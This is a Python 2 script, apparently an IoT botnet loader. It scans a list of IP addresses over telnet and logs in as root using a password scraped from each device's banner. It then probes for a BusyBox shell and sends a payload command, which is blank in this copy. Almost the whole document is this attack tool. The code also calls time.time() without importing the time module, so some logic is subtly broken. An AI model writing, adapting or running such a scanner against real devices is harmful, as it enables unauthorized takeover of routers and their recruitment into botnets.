Russian Router Scanner

#!/usr/bin/python
# Russian Router Scanner

import threading
import sys, os, re, socket
from time import sleep
from Queue import *
from sys import stdout

if len(sys.argv) < 3:
    print "Usage: python "+sys.argv[0]+" <list> <threads>"
    sys.exit()

ips = open(sys.argv[1], "r").readlines()
threads = int(sys.argv[2])
queue = Queue()
queue_count = 0
cmd = ""

class russian(threading.Thread):
    def __init__ (self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
    def run(self):
        try:
            tn = socket.socket()
            tn.settimeout(8)
            tn.connect((self.ip,23))
            sleep(0.2)
            check = tn.recv(2048)
            checks = re.findall(r'\:\w+', check)
            check2 = "".join(checks)
            username = "root"
            password = check2.replace(":", "")
        except Exception:
            tn.close()
        try:
            if "ogin" in check:
                tn.send(username + "\n")
                sleep(0.09)
            elif "assword" in check:
                tn.send(password + "\n")
                sleep(0.09)
        except Exception:
            tn.close()
        try:
            hoho = ''
            hoho += readUntil(tn, "assword:")
            if "assword" in hoho:
                tn.send(password + "\n")
                sleep(0.8)
            else:
                pass
        except Exception:
            tn.close()
        try:
            prompt = ''
            prompt += tn.recv(40960)
            if "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
                try:
                    success = False
                    timeout = 8
                    data = ["BusyBox", "Built-in"]
                    tn.send("enable" + "\n")
                    sleep(0.01)
                    tn.send("sh" + "\n")
                    sleep(0.01)
                    tn.send("shell" + "\n")
                    sleep(0.01)
                    tn.send("help" + "\n")
                    sleep(0.01)
                    tn.send("busybox" + "\r\n")
                    buf = '' # NO FALSE POSSITIVES OVA HERE
                    start_time = time.time()
                    while time.time() - start_time < timeout:
                        buf += tn.recv(40960)
                        sleep(0.01)
                        for info in data:
                            if info in buf and "unrecognized" not in buf:
                                success = True
                except:
                    pass
            else:
                tn.close()
            if success == True:
                try:
                    tn.send(cmd + "\r\n")
                    print "Command Sent!"
                    sleep(15)
                    tn.close()
                except:
                    tn.close()
            tn.close()
        except Exception:
            tn.close()

def readUntil(tn, string, timeout=8):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        sleep(0.01)
        if string in buf: return buf
    raise Exception('TIMEOUT!')

def worker():
    try:
        while True:
            try:
                ip = queue.get()
                thread = russian(ip)
                thread.start()
                queue.task_done()
                sleep(0.2)
            except:
                pass
    except:
        pass

for ip in ips:
    queue_count += 1
    stdout.write("\r[%d] Added to queue" % queue_count)
    stdout.flush()
    queue.put(ip)
print "\n"

for l in xrange(threads):
    try:
        t = threading.Thread(target=worker)
        t.start()
        sleep(0.01)
    except:
        pass